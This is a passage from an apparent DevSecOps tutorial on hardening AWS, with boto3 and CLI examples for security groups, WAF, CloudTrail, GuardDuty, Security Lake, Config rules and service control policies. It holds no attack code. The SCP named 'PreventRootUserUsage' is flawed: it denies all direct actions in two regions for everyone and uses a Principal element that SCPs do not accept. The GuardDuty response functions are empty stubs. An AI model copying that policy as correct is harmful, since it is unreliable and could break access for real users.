  <span class="nt">--network-acl-id</span> acl-12345678 <span class="se">\</span>
  <span class="nt">--rule-number</span> 100 <span class="se">\</span>
  <span class="nt">--protocol</span> tcp <span class="se">\</span>
  <span class="nt">--rule-action</span> allow <span class="se">\</span>
  <span class="nt">--port-range</span> <span class="nv">From</span><span class="o">=</span>443,To<span class="o">=</span>443 <span class="se">\</span>
  <span class="nt">--cidr-block</span> 10.0.0.0/16
</pre></td></tr></tbody></table></code></pre></div></div>

<h4 id="security-group-best-practices">Security Group Best Practices</h4>

<p><strong>Least-Privilege Security Groups:</strong></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>

<span class="k">def</span> <span class="nf">create_secure_security_group</span><span class="p">(</span><span class="n">vpc_id</span><span class="p">,</span> <span class="n">group_name</span><span class="p">):</span>
    <span class="n">ec2</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">ec2</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="c1"># Create security group
</span>    <span class="n">sg_response</span> <span class="o">=</span> <span class="n">ec2</span><span class="p">.</span><span class="nf">create_security_group</span><span class="p">(</span>
        <span class="n">GroupName</span><span class="o">=</span><span class="n">group_name</span><span class="p">,</span>
        <span class="n">Description</span><span class="o">=</span><span class="sa">f</span><span class="sh">'</span><span class="s">Secure </span><span class="si">{</span><span class="n">group_name</span><span class="si">}</span><span class="s"> security group</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">VpcId</span><span class="o">=</span><span class="n">vpc_id</span>
    <span class="p">)</span>
    
    <span class="n">security_group_id</span> <span class="o">=</span> <span class="n">sg_response</span><span class="p">[</span><span class="sh">'</span><span class="s">GroupId</span><span class="sh">'</span><span class="p">]</span>
    
    <span class="c1"># Add specific inbound rules
</span>    <span class="n">ec2</span><span class="p">.</span><span class="nf">authorize_security_group_ingress</span><span class="p">(</span>
        <span class="n">GroupId</span><span class="o">=</span><span class="n">security_group_id</span><span class="p">,</span>
        <span class="n">IpPermissions</span><span class="o">=</span><span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">IpProtocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">tcp</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">FromPort</span><span class="sh">'</span><span class="p">:</span> <span class="mi">443</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">ToPort</span><span class="sh">'</span><span class="p">:</span> <span class="mi">443</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">IpRanges</span><span class="sh">'</span><span class="p">:</span> <span class="p">[{</span><span class="sh">'</span><span class="s">CidrIp</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">10.0.0.0/16</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Internal HTTPS traffic</span><span class="sh">'</span><span class="p">}]</span>
            <span class="p">},</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">IpProtocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">tcp</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">FromPort</span><span class="sh">'</span><span class="p">:</span> <span class="mi">22</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">ToPort</span><span class="sh">'</span><span class="p">:</span> <span class="mi">22</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">UserIdGroupPairs</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                    <span class="p">{</span>
                        <span class="sh">'</span><span class="s">GroupId</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">sg-bastion-host</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">Description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SSH from bastion host only</span><span class="sh">'</span>
                    <span class="p">}</span>
                <span class="p">]</span>
            <span class="p">}</span>
        <span class="p">]</span>
    <span class="p">)</span>
    
    <span class="k">return</span> <span class="n">security_group_id</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="aws-waf-implementation">AWS WAF Implementation</h3>

<p><strong>Web Application Firewall Configuration:</strong></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>

<span class="k">def</span> <span class="nf">create_waf_web_acl</span><span class="p">():</span>
    <span class="n">wafv2</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">wafv2</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="n">web_acl</span> <span class="o">=</span> <span class="n">wafv2</span><span class="p">.</span><span class="nf">create_web_acl</span><span class="p">(</span>
        <span class="n">Scope</span><span class="o">=</span><span class="sh">'</span><span class="s">REGIONAL</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Name</span><span class="o">=</span><span class="sh">'</span><span class="s">DevSecOpsWebACL</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">DefaultAction</span><span class="o">=</span><span class="p">{</span><span class="sh">'</span><span class="s">Allow</span><span class="sh">'</span><span class="p">:</span> <span class="p">{}},</span>
        <span class="n">Rules</span><span class="o">=</span><span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWSManagedRulesCommonRuleSet</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">Priority</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">OverrideAction</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span><span class="sh">'</span><span class="s">None</span><span class="sh">'</span><span class="p">:</span> <span class="p">{}},</span>
                <span class="sh">'</span><span class="s">Statement</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">ManagedRuleGroupStatement</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">VendorName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWSManagedRulesCommonRuleSet</span><span class="sh">'</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="sh">'</span><span class="s">VisibilityConfig</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">SampledRequestsEnabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">CloudWatchMetricsEnabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">MetricName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CommonRuleSetMetric</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">},</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">RateLimitRule</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">Priority</span><span class="sh">'</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">Action</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span><span class="sh">'</span><span class="s">Block</span><span class="sh">'</span><span class="p">:</span> <span class="p">{}},</span>
                <span class="sh">'</span><span class="s">Statement</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">RateBasedStatement</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">Limit</span><span class="sh">'</span><span class="p">:</span> <span class="mi">2000</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">AggregateKeyType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">IP</span><span class="sh">'</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="sh">'</span><span class="s">VisibilityConfig</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">SampledRequestsEnabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">CloudWatchMetricsEnabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">MetricName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">RateLimitMetric</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">],</span>
        <span class="n">VisibilityConfig</span><span class="o">=</span><span class="p">{</span>
            <span class="sh">'</span><span class="s">SampledRequestsEnabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">CloudWatchMetricsEnabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">MetricName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">DevSecOpsWebACL</span><span class="sh">'</span>
        <span class="p">}</span>
    <span class="p">)</span>
    
    <span class="k">return</span> <span class="n">web_acl</span><span class="p">[</span><span class="sh">'</span><span class="s">Summary</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">ARN</span><span class="sh">'</span><span class="p">]</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="4-monitoring-and-incident-response-automated-detection">4. Monitoring and Incident Response: Automated Detection</h2>

<h3 id="cloudtrail-advanced-configuration">CloudTrail Advanced Configuration</h3>

<p>Comprehensive logging and monitoring enable rapid threat detection and incident response.</p>

<h4 id="multi-region-cloudtrail-setup">Multi-Region CloudTrail Setup</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
</pre></td><td class="rouge-code"><pre><span class="c"># Create CloudTrail with advanced features</span>
aws cloudtrail create-trail <span class="se">\</span>
  <span class="nt">--name</span> DevSecOpsCloudTrail <span class="se">\</span>
  <span class="nt">--s3-bucket-name</span> secure-cloudtrail-logs <span class="se">\</span>
  <span class="nt">--include-global-service-events</span> <span class="se">\</span>
  <span class="nt">--is-multi-region-trail</span> <span class="se">\</span>
  <span class="nt">--enable-log-file-validation</span> <span class="se">\</span>
  <span class="nt">--event-selectors</span> <span class="s1">'[
    {
      "ReadWriteType": "All",
      "IncludeManagementEvents": true,
      "DataResources": [
        {
          "Type": "AWS::S3::Object",
          "Values": ["arn:aws:s3:::sensitive-data-bucket/*"]
        }
      ]
    }
  ]'</span>

<span class="c"># Enable CloudTrail insights</span>
aws cloudtrail put-insight-selectors <span class="se">\</span>
  <span class="nt">--trail-name</span> DevSecOpsCloudTrail <span class="se">\</span>
  <span class="nt">--insight-selectors</span> <span class="s1">'[
    {
      "InsightType": "ApiCallRateInsight"
    }
  ]'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h4 id="guardduty-integration-and-automation">GuardDuty Integration and Automation</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>

<span class="k">def</span> <span class="nf">setup_guardduty_automation</span><span class="p">():</span>
    <span class="n">guardduty</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">guardduty</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">lambda_client</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">lambda</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="c1"># Enable GuardDuty
</span>    <span class="n">detector_response</span> <span class="o">=</span> <span class="n">guardduty</span><span class="p">.</span><span class="nf">create_detector</span><span class="p">(</span>
        <span class="n">Enable</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span>
        <span class="n">FindingPublishingFrequency</span><span class="o">=</span><span class="sh">'</span><span class="s">FIFTEEN_MINUTES</span><span class="sh">'</span>
    <span class="p">)</span>
    
    <span class="n">detector_id</span> <span class="o">=</span> <span class="n">detector_response</span><span class="p">[</span><span class="sh">'</span><span class="s">DetectorId</span><span class="sh">'</span><span class="p">]</span>
    
    <span class="c1"># Create threat intel set
</span>    <span class="n">guardduty</span><span class="p">.</span><span class="nf">create_threat_intel_set</span><span class="p">(</span>
        <span class="n">DetectorId</span><span class="o">=</span><span class="n">detector_id</span><span class="p">,</span>
        <span class="n">Name</span><span class="o">=</span><span class="sh">'</span><span class="s">CustomThreatIntelSet</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Format</span><span class="o">=</span><span class="sh">'</span><span class="s">TXT</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Location</span><span class="o">=</span><span class="sh">'</span><span class="s">s3://threat-intel-bucket/indicators.txt</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Activate</span><span class="o">=</span><span class="bp">True</span>
    <span class="p">)</span>
    
    <span class="k">return</span> <span class="n">detector_id</span>

<span class="k">def</span> <span class="nf">create_guardduty_response_lambda</span><span class="p">():</span>
    <span class="n">lambda_code</span> <span class="o">=</span> <span class="sh">'''</span><span class="s">
import json
import boto3

def lambda_handler(event, context):
    # Parse GuardDuty finding
    finding = event[</span><span class="sh">'</span><span class="s">detail</span><span class="sh">'</span><span class="s">]
    severity = finding[</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">]
    
    if severity &gt;= 7.0:  # High severity findings
        # Trigger automated response
        response_actions = {
            </span><span class="sh">'</span><span class="s">isolate_instance</span><span class="sh">'</span><span class="s">: isolate_compromised_instance,
            </span><span class="sh">'</span><span class="s">block_ip</span><span class="sh">'</span><span class="s">: block_malicious_ip,
            </span><span class="sh">'</span><span class="s">notify_security</span><span class="sh">'</span><span class="s">: send_security_alert
        }
        
        for action_name, action_func in response_actions.items():
            try:
                action_func(finding)
            except Exception as e:
                print(f</span><span class="sh">"</span><span class="s">Failed to execute {action_name}: {e}</span><span class="sh">"</span><span class="s">)
    
    return {
        </span><span class="sh">'</span><span class="s">statusCode</span><span class="sh">'</span><span class="s">: 200,
        </span><span class="sh">'</span><span class="s">body</span><span class="sh">'</span><span class="s">: json.dumps(</span><span class="sh">'</span><span class="s">GuardDuty finding processed</span><span class="sh">'</span><span class="s">)
    }

def isolate_compromised_instance(finding):
    # Implementation for instance isolation
    pass

def block_malicious_ip(finding):
    # Implementation for IP blocking
    pass

def send_security_alert(finding):
    # Implementation for security team notification
    pass
</span><span class="sh">'''</span>
    
    <span class="k">return</span> <span class="n">lambda_code</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="security-lake-implementation">Security Lake Implementation</h3>

<p><strong>Centralized Security Data Lake:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre><span class="c"># Enable Security Lake</span>
aws securitylake create-data-lake <span class="se">\</span>
  <span class="nt">--regions</span> us-west-2 <span class="se">\</span>
  <span class="nt">--configurations</span> <span class="s1">'[
    {
      "Region": "us-west-2",
      "EncryptionConfiguration": {
        "KmsKeyId": "arn:aws:kms:us-west-2:123456789012:alias/devsecops-prod"
      },
      "ReplicationConfiguration": {
        "Regions": ["us-east-1"],
        "RoleArn": "arn:aws:iam::123456789012:role/SecurityLakeReplicationRole"
      }
    }
  ]'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Custom Source Integration:</strong></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>

<span class="k">def</span> <span class="nf">create_custom_security_source</span><span class="p">():</span>
    <span class="n">security_lake</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">securitylake</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="n">response</span> <span class="o">=</span> <span class="n">security_lake</span><span class="p">.</span><span class="nf">create_custom_log_source</span><span class="p">(</span>
        <span class="n">SourceName</span><span class="o">=</span><span class="sh">'</span><span class="s">DevSecOpsPipelineEvents</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">SourceVersion</span><span class="o">=</span><span class="sh">'</span><span class="s">1.0</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">EventClasses</span><span class="o">=</span><span class="p">[</span>
            <span class="sh">'</span><span class="s">AUTHENTICATION</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">AUTHORIZATION</span><span class="sh">'</span><span class="p">,</span> 
            <span class="sh">'</span><span class="s">NETWORK_ACTIVITY</span><span class="sh">'</span>
        <span class="p">],</span>
        <span class="n">Configuration</span><span class="o">=</span><span class="p">{</span>
            <span class="sh">'</span><span class="s">CrawlerConfiguration</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">RoleArn</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">arn:aws:iam::123456789012:role/SecurityLakeCrawlerRole</span><span class="sh">'</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">ProviderIdentity</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">Principal</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">arn:aws:iam::123456789012:role/DevSecOpsRole</span><span class="sh">'</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">)</span>
    
    <span class="k">return</span> <span class="n">response</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="5-compliance-and-governance-policy-as-code">5. Compliance and Governance: Policy as Code</h2>

<h3 id="aws-config-implementation">AWS Config Implementation</h3>

<p>Continuous compliance monitoring through automated configuration assessment.</p>

<h4 id="config-rules-deployment">Config Rules Deployment</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>

<span class="k">def</span> <span class="nf">deploy_compliance_config_rules</span><span class="p">():</span>
    <span class="n">config_client</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">config</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="c1"># CIS AWS Foundations Benchmark rules
</span>    <span class="n">compliance_rules</span> <span class="o">=</span> <span class="p">[</span>
        <span class="p">{</span>
            <span class="sh">'</span><span class="s">ConfigRuleName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">root-access-key-check</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">Source</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">Owner</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">SourceIdentifier</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ROOT_ACCESS_KEY_CHECK</span><span class="sh">'</span>
            <span class="p">}</span>
        <span class="p">},</span>
        <span class="p">{</span>
            <span class="sh">'</span><span class="s">ConfigRuleName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">mfa-enabled-for-iam-console-access</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">Source</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">Owner</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">SourceIdentifier</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">MFA_ENABLED_FOR_IAM_CONSOLE_ACCESS</span><span class="sh">'</span>
            <span class="p">}</span>
        <span class="p">},</span>
        <span class="p">{</span>
            <span class="sh">'</span><span class="s">ConfigRuleName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">s3-bucket-public-access-prohibited</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">Source</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">Owner</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">SourceIdentifier</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">S3_BUCKET_PUBLIC_ACCESS_PROHIBITED</span><span class="sh">'</span>
            <span class="p">}</span>
        <span class="p">},</span>
        <span class="p">{</span>
            <span class="sh">'</span><span class="s">ConfigRuleName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">encrypted-volumes</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">Source</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">Owner</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">SourceIdentifier</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ENCRYPTED_VOLUMES</span><span class="sh">'</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">]</span>
    
    <span class="k">for</span> <span class="n">rule</span> <span class="ow">in</span> <span class="n">compliance_rules</span><span class="p">:</span>
        <span class="n">config_client</span><span class="p">.</span><span class="nf">put_config_rule</span><span class="p">(</span><span class="n">ConfigRule</span><span class="o">=</span><span class="n">rule</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Deployed rule: </span><span class="si">{</span><span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">ConfigRuleName</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h4 id="custom-compliance-rules">Custom Compliance Rules</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">create_custom_compliance_rule</span><span class="p">():</span>
    <span class="n">lambda_code</span> <span class="o">=</span> <span class="sh">'''</span><span class="s">
import json
import boto3

def lambda_handler(event, context):
    # Get the configurationItem from the invokingEvent
    configuration_item = event[</span><span class="sh">'</span><span class="s">configurationItem</span><span class="sh">'</span><span class="s">]
    
    # Check if resource is compliant
    compliance_status = evaluate_compliance(configuration_item)
    
    # Return compliance evaluation
    return {
        </span><span class="sh">'</span><span class="s">ComplianceResourceType</span><span class="sh">'</span><span class="s">: configuration_item[</span><span class="sh">'</span><span class="s">resourceType</span><span class="sh">'</span><span class="s">],
        </span><span class="sh">'</span><span class="s">ComplianceResourceId</span><span class="sh">'</span><span class="s">: configuration_item[</span><span class="sh">'</span><span class="s">resourceId</span><span class="sh">'</span><span class="s">],
        </span><span class="sh">'</span><span class="s">ComplianceType</span><span class="sh">'</span><span class="s">: compliance_status,
        </span><span class="sh">'</span><span class="s">Annotation</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">Custom security policy evaluation</span><span class="sh">'</span><span class="s">,
        </span><span class="sh">'</span><span class="s">OrderingTimestamp</span><span class="sh">'</span><span class="s">: configuration_item[</span><span class="sh">'</span><span class="s">configurationItemCaptureTime</span><span class="sh">'</span><span class="s">]
    }

def evaluate_compliance(configuration_item):
    # Custom compliance logic
    if configuration_item[</span><span class="sh">'</span><span class="s">resourceType</span><span class="sh">'</span><span class="s">] == </span><span class="sh">'</span><span class="s">AWS::S3::Bucket</span><span class="sh">'</span><span class="s">:
        # Check if S3 bucket has encryption enabled
        bucket_encryption = configuration_item.get(</span><span class="sh">'</span><span class="s">supplementaryConfiguration</span><span class="sh">'</span><span class="s">, {}).get(</span><span class="sh">'</span><span class="s">BucketEncryption</span><span class="sh">'</span><span class="s">)
        return </span><span class="sh">'</span><span class="s">COMPLIANT</span><span class="sh">'</span><span class="s"> if bucket_encryption else </span><span class="sh">'</span><span class="s">NON_COMPLIANT</span><span class="sh">'</span><span class="s">
    
    return </span><span class="sh">'</span><span class="s">NOT_APPLICABLE</span><span class="sh">'</span><span class="s">
</span><span class="sh">'''</span>
    
    <span class="k">return</span> <span class="n">lambda_code</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="service-control-policies-scps">Service Control Policies (SCPs)</h3>

<p><strong>Organization-Level Security Policies:</strong></p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
</pre></td><td class="rouge-code"><pre><span class="p">{</span><span class="w">
  </span><span class="nl">"Version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2012-10-17"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"Statement"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"Sid"</span><span class="p">:</span><span class="w"> </span><span class="s2">"PreventRootUserUsage"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Effect"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Deny"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Action"</span><span class="p">:</span><span class="w"> </span><span class="s2">"*"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Resource"</span><span class="p">:</span><span class="w"> </span><span class="s2">"*"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Condition"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"StringEquals"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"aws:RequestedRegion"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
            </span><span class="s2">"us-east-1"</span><span class="p">,</span><span class="w">
            </span><span class="s2">"us-west-2"</span><span class="w">
          </span><span class="p">]</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="nl">"Bool"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"aws:ViaAWSService"</span><span class="p">:</span><span class="w"> </span><span class="s2">"false"</span><span class="w">
        </span><span class="p">}</span><span class="w">
      </span><span class="p">},</span><span class="w">
      </span><span class="nl">"Principal"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"AWS"</span><span class="p">:</span><span class="w"> </span><span class="s2">"*"</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"Sid"</span><span class="p">:</span><span class="w"> </span><span class="s2">"RequireEncryptionInTransit"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Effect"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Deny"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Action"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
